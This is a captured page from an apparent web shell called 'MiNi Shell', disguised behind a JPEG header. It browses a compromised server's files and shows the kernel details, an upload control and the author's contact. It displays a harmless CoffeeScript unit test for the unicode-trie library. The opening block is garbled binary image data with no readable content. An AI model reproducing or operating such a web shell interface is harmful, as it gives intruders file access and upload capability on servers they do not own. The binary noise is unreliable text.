JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/htmltopdf/node_modules/unicode-trie/test/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/htmltopdf/node_modules/unicode-trie/test/test.coffee

assert = require 'assert'
UnicodeTrieBuilder = require '../builder'
UnicodeTrie = require '../'

describe 'unicode trie', ->
  it 'set', ->
    trie = new UnicodeTrieBuilder 10, 666
    trie.set 0x4567, 99
    assert.equal trie.get(0x4566), 10
    assert.equal trie.get(0x4567), 99
    assert.equal trie.get(-1), 666
    assert.equal trie.get(0x110000), 666
    
  it 'set -> compacted trie', ->
    t = new UnicodeTrieBuilder 10, 666
    t.set 0x4567, 99
    
    trie = t.freeze()
    assert.equal trie.get(0x4566), 10
    assert.equal trie.get(0x4567), 99
    assert.equal trie.get(-1), 666
    assert.equal trie.get(0x110000), 666
    
  it 'setRange', ->
    trie = new UnicodeTrieBuilder 10, 666
    trie.setRange 13, 6666, 7788, false
    trie.setRange 6000, 7000, 9900, true
    
    assert.equal trie.get(12), 10
    assert.equal trie.get(13), 7788
    assert.equal trie.get(5999), 7788
    assert.equal trie.get(6000), 9900
    assert.equal trie.get(7000), 9900
    assert.equal trie.get(7001), 10
    assert.equal trie.get(0x110000), 666
    
  it 'setRange -> compacted trie', ->
    t = new UnicodeTrieBuilder 10, 666
    t.setRange 13, 6666, 7788, false
    t.setRange 6000, 7000, 9900, true
    
    trie = t.freeze()
    assert.equal trie.get(12), 10
    assert.equal trie.get(13), 7788
    assert.equal trie.get(5999), 7788
    assert.equal trie.get(6000), 9900
    assert.equal trie.get(7000), 9900
    assert.equal trie.get(7001), 10
    assert.equal trie.get(0x110000), 666
    
  it 'should work with compressed serialization format', ->
    t = new UnicodeTrieBuilder 10, 666
    t.setRange 13, 6666, 7788, false
    t.setRange 6000, 7000, 9900, true
    
    buf = t.toBuffer()
    trie = new UnicodeTrie buf
    assert.equal trie.get(12), 10
    assert.equal trie.get(13), 7788
    assert.equal trie.get(5999), 7788
    assert.equal trie.get(6000), 9900
    assert.equal trie.get(7000), 9900
    assert.equal trie.get(7001), 10
    assert.equal trie.get(0x110000), 666
    
  rangeTests = [
    {
      ranges: [
         [ 0,        0,        0,      0 ],
         [ 0,        0x40,     0,      0 ],
         [ 0x40,     0xe7,     0x1234, 0 ],
         [ 0xe7,     0x3400,   0,      0 ],
         [ 0x3400,   0x9fa6,   0x6162, 0 ],
         [ 0x9fa6,   0xda9e,   0x3132, 0 ],
         [ 0xdada,   0xeeee,   0x87ff, 0 ],
         [ 0xeeee,   0x11111,  1,      0 ],
         [ 0x11111,  0x44444,  0x6162, 0 ],
         [ 0x44444,  0x60003,  0,      0 ],
         [ 0xf0003,  0xf0004,  0xf,    0 ],
         [ 0xf0004,  0xf0006,  0x10,   0 ],
         [ 0xf0006,  0xf0007,  0x11,   0 ],
         [ 0xf0007,  0xf0040,  0x12,   0 ],
         [ 0xf0040,  0x110000, 0,      0 ]
      ]

      check: [
        [ 0,        0      ],
        [ 0x40,     0      ],
        [ 0xe7,     0x1234 ],
        [ 0x3400,   0      ],
        [ 0x9fa6,   0x6162 ],
        [ 0xda9e,   0x3132 ],
        [ 0xdada,   0      ],
        [ 0xeeee,   0x87ff ],
        [ 0x11111,  1      ],
        [ 0x44444,  0x6162 ],
        [ 0xf0003,  0      ],
        [ 0xf0004,  0xf    ],
        [ 0xf0006,  0x10   ],
        [ 0xf0007,  0x11   ],
        [ 0xf0040,  0x12   ],
        [ 0x110000, 0      ]
      ]
    },
    {
      # set some interesting overlapping ranges
      ranges: [
        [ 0,        0,        0,      0 ],
        [ 0x21,     0x7f,     0x5555, 1 ],
        [ 0x2f800,  0x2fedc,  0x7a,   1 ],
        [ 0x72,     0xdd,     3,      1 ],
        [ 0xdd,     0xde,     4,      0 ],
        [ 0x201,    0x240,    6,      1 ],  # 3 consecutive blocks with the same pattern but
        [ 0x241,    0x280,    6,      1 ],  # discontiguous value ranges, testing utrie2_enum()
        [ 0x281,    0x2c0,    6,      1 ],
        [ 0x2f987,  0x2fa98,  5,      1 ],
        [ 0x2f777,  0x2f883,  0,      1 ],
        [ 0x2f900,  0x2ffaa,  1,      0 ],
        [ 0x2ffaa,  0x2ffab,  2,      1 ],
        [ 0x2ffbb,  0x2ffc0,  7,      1 ]
      ]

      check: [
        [ 0,        0      ],
        [ 0x21,     0      ],
        [ 0x72,     0x5555 ],
        [ 0xdd,     3      ],
        [ 0xde,     4      ],
        [ 0x201,    0      ],
        [ 0x240,    6      ],
        [ 0x241,    0      ],
        [ 0x280,    6      ],
        [ 0x281,    0      ],
        [ 0x2c0,    6      ],
        [ 0x2f883,  0      ],
        [ 0x2f987,  0x7a   ],
        [ 0x2fa98,  5      ],
        [ 0x2fedc,  0x7a   ],
        [ 0x2ffaa,  1      ],
        [ 0x2ffab,  2      ],
        [ 0x2ffbb,  0      ],
        [ 0x2ffc0,  7      ],
        [ 0x110000, 0      ]
      ]
    },
    {
      # use a non-zero initial value
      ranges: [
        [ 0,        0,        9, 0 ], # non-zero initial value.
        [ 0x31,     0xa4,     1, 0 ],
        [ 0x3400,   0x6789,   2, 0 ],
        [ 0x8000,   0x89ab,   9, 1 ],
        [ 0x9000,   0xa000,   4, 1 ],
        [ 0xabcd,   0xbcde,   3, 1 ],
        [ 0x55555,  0x110000, 6, 1 ], # highStart<U+ffff with non-initialValue
        [ 0xcccc,   0x55555,  6, 1 ]
      ],
      
      check: [
        [ 0,        9 ],  # non-zero initialValue
        [ 0x31,     9 ],
        [ 0xa4,     1 ],
        [ 0x3400,   9 ],
        [ 0x6789,   2 ],
        [ 0x9000,   9 ],
        [ 0xa000,   4 ],
        [ 0xabcd,   9 ],
        [ 0xbcde,   3 ],
        [ 0xcccc,   9 ],
        [ 0x110000, 6 ]
      ]
    },
    {
      # empty or single-value tries, testing highStart==0
      ranges: [
        [ 0,        0,        3, 0 ] # Only the element with the initial value.
      ]
      
      check: [
        [ 0,        3 ],
        [ 0x110000, 3 ]
      ]
    },
    {
      ranges: [
        [ 0,        0,        3,  0 ] # Initial value = 3
        [ 0,        0x110000, 5, 1  ]
      ],
      
      check: [
        [ 0,        3 ]
        [ 0x110000, 5 ]
      ]
    }
  ]
  
  it 'should pass range tests', ->
    for test in rangeTests
      initialValue = 0
      errorValue = 0x0bad
      i = 0
      if test.ranges[i][1] < 0
        errorValue = test.ranges[i][2]
        i++
      
      initialValue = test.ranges[i++][2]
      trie = new UnicodeTrieBuilder initialValue, errorValue
      
      for range in test.ranges[i...]
        trie.setRange range[0], range[1] - 1, range[2], range[3] isnt 0
        
      frozen = trie.freeze()
      
      start = 0
      for check in test.check
        for start in [start...check[0]] by 1
          assert.equal trie.get(start), check[1]
          assert.equal frozen.get(start), check[1]
                    

Creat By MiNi SheLL
Email: jattceo@gmail.com